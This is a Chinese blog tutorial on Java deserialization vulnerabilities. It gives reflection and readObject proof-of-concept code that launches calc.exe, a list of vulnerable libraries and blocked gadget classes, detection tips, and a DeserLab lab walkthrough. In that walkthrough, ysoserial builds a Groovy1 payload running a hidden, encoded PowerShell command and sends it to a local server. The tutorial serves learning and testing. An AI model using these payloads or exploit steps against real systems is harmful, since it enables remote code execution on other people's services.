博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
java反序列化漏洞入门分析
阅读量:6480 次
发布时间:2019-06-23

本文共 6214 字,大约阅读时间需要 20 分钟。

参考文献:

JAVA序列化和反序列化的一个例子

package ser;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;class serdemo implements Serializable{   private String name;   public String getName(){       return name;   }   public void setName(String name){      this.name = name;   }}public class serdemo1 {    public static void main(String args[]) throws IOException, ClassNotFoundException {        #序列化        FileOutputStream fileOutputStream = new FileOutputStream("seri.txt");        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);        serdemo serdemo=new serdemo();        serdemo.setName("sheng");        outputStream.writeObject(serdemo);        #反序列化        FileInputStream fileInputStream = new FileInputStream("seri.txt");        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);        serdemo object2 = (serdemo) inputStream.readObject();        System.out.println("反序列化后的对象的值");        System.out.println(object2.getName());        inputStream.close();    }}

详解

  • Java中的API实现:

序列化: ObjectOutputStream类 --> writeObject()

该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,按Java的标准约定是给文件一个.ser扩展名
反序列化:ObjectInputStream类 --> readObject()   
该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

  • 实现SerializableExternalizable接口的类才能序列化与反序列化。Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。

  • java的反射机制:

在运行状态中:对于任意一个类,都能够判断一个对象所属的类;对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

Java反射的四大核心是 ClassConstructorFieldMethod

利用Java的反射机制来操纵代码调用本地的计算器

package ser1;import java.lang.reflect.InvocationTargetException;public class POC {    public static void main(String args[]) throws  IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {        Object runtime=Class.forName("java.lang.Runtime")                .getMethod("getRuntime",new Class[]{})                .invoke(null);        Class.forName("java.lang.Runtime")                .getMethod("exec", String.class)                .invoke(runtime,"calc.exe");    }}

漏洞分析:

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,Apache Commons Collections有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer

一个简单的反序列化利用

package ser1;import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.net.ServerSocket;import java.net.Socket;public class listen {     public static void main(String args[]) throws Exception{            UnsafeClass Unsafe = new UnsafeClass();            Unsafe.name = "sheng";            FileOutputStream fos = new FileOutputStream("object");            ObjectOutputStream os = new ObjectOutputStream(fos);            os.writeObject(Unsafe);            os.close();            FileInputStream fis = new FileInputStream("object");            ObjectInputStream ois = new ObjectInputStream(fis);            #恢复对象            UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();            System.out.println(objectFromDisk.name);            ois.close();        }    }    class UnsafeClass implements Serializable{        public String name;        #重写readObject()方法        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{            in.defaultReadObject();#执行默认的readObject()方法            Runtime.getRuntime().exec("calc.exe");  #执行命令        }    }

img_8bd17e4015da926ef0d322fcb3313c3c.png
基础库中存在的反序列化漏洞

  • 存在危险的基础库:
commons-fileupload 1.3.1commons-io 2.4commons-collections 3.1commons-logging 1.2commons-beanutils 1.9.2org.slf4j:slf4j-api 1.7.21com.mchange:mchange-commons-java 0.2.11org.apache.commons:commons-collections 4.0com.mchange:c3p0 0.9.5.2org.beanshell:bsh 2.0b5org.codehaus.groovy:groovy 2.3.9org.springframework:spring-aop 4.1.4.RELEASE
  • 某反序列化防护软件便是通过禁用以下类的反序列化来保护程序:
'org.apache.commons.collections.functors.InvokerTransformer','org.apache.commons.collections.functors.InstantiateTransformer','org.apache.commons.collections4.functors.InvokerTransformer','org.apache.commons.collections4.functors.InstantiateTransformer','org.codehaus.groovy.runtime.ConvertedClosure','org.codehaus.groovy.runtime.MethodClosure','org.springframework.beans.factory.ObjectFactory','xalan.internal.xsltc.trax.TemplatesImpl'

漏洞挖掘

反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。

白盒检测

① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点

  • 搜索以下函数:
ObjectInputStream.readObjectObjectInputStream.readUnsharedXMLDecoder.readObjectYaml.loadXStream.fromXMLObjectMapper.readValueJSON.parseObject

小数点前面是类名,后面是方法名

② 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可)。

③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
④ 若包含危险库,则使用进行攻击复现。

黑盒检测
  • 通过抓包来检测请求中可能存在的序列化数据。
  • 序列化数据通常以AC ED开始,之后的两个字节是版本号,版本号一般是00 05AC ED 00 05经过Base64编码之后为rO0AB
  • 十六进制对照表:
0x70 - TC_NULL0x71 - TC_REFERENCE0x72 - TC_CLASSDESC0x73 - TC_OBJECT0x74 - TC_STRING0x75 - TC_ARRAY0x76 - TC_CLASS0x7B - TC_EXCEPTION0x7C - TC_LONGSTRING0x7D - TC_PROXYCLASSDESC0x7E - TC_ENUM

可以通过tcpdump抓取TCP/HTTP请求,通过去自动化检测,并插入生成的exp

环境测试

看了挺多文章,搭一个怪难的,就直接用大佬的来尝试了

是一个使用了Groovy库的简单网络协议应用,实现clientserver端发送序列化数据的功能。而Groovy库和上文中的Apache Commons Collection库一样,含有可利用的POP链

环境

win10        python2.7        java1.8

分析过程

  • 开启本地服务端和客户端
java -jar DeserLab.jar -server 127.0.0.1 6767java -jar DeserLab.jar -client 127.0.0.1 6767
  • 通过本地抓包工具rawcap抓包分析
    img_1ddcf9332750daab2a3132b6c3f23741.png
  • 提取序列化数据
    pcap包转换为可待分析的数据格式。
#将pcap转换为文本,文本中只包含传输的数据、TCP源端口号以及目的端口号tshark -r 1234.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, #继续处理这些文本,根据端口以及每一行的开头部分来选择输出合适的载荷| grep -v ',,' | grep '^6767,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
img_2aef50875788603efc620831b1a5dd8e.png

img_6529da0f6ac6c2a062a9771ab1d8a7be.png
通过wireshark可以看到,客户端和服务器之间正在传输一个nb.deser.HashRequest对象。结合工具的输出结果我们可知用户名以字符串形式存储在TC_BLOCKDATA类型中进行传输:
漏洞利用:

  • 生成,在windows环境下,用powershell作为攻击载体。
    img_61be519d71831893e327e4244b677cd1.png
  • 用生成针对Groovy库payload
java -jar ysoserial.jar  Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAcwBoAGUAbgBnAA==" > 1.bin
  • 使用脚本生成payload
python2 1.py 127.0.0.1 1234 1.bin
img_acabebb69caacb559cee728e01c74fe2.png

转载地址:http://bxwuo.baihongyu.com/

你可能感兴趣的文章
css布局 - 九宫格布局的方法汇总(更新中...)
查看>>
iOS开发之调用系统设置
查看>>
解决wampserver 服务无法启动
查看>>
初次使用 VUX
查看>>
javascript 字符串转数字的简便写法
查看>>
html之div始终停留在屏幕中间部分
查看>>
Spring中jdbcTemplate的用户实例
查看>>
[模板] 快速傅里叶变换/FFT/NTT
查看>>
DecimalFormat 数据格式设置 SimpleDateFormat时间格式的用法介绍 --转载
查看>>
Android 的Margin和Padding属性以及支持的长度单位
查看>>
HDU ACM 1050 Moving Tables
查看>>
Django templates加载css/js/image等静态资源
查看>>
Eclipse C + GTK2.0环境构筑
查看>>
caffe solver
查看>>
Rhel6-heartbeat+lvs配置文档
查看>>
ORACLE分科目统计每科前三名的学生的语句
查看>>
0317复利计算的回顾与总结
查看>>
函数对象
查看>>
最全最新个税计算公式---今天你税了吗?
查看>>
linux shell 正则表达式(BREs,EREs,PREs)差异比较(转,当作资料查)
查看>>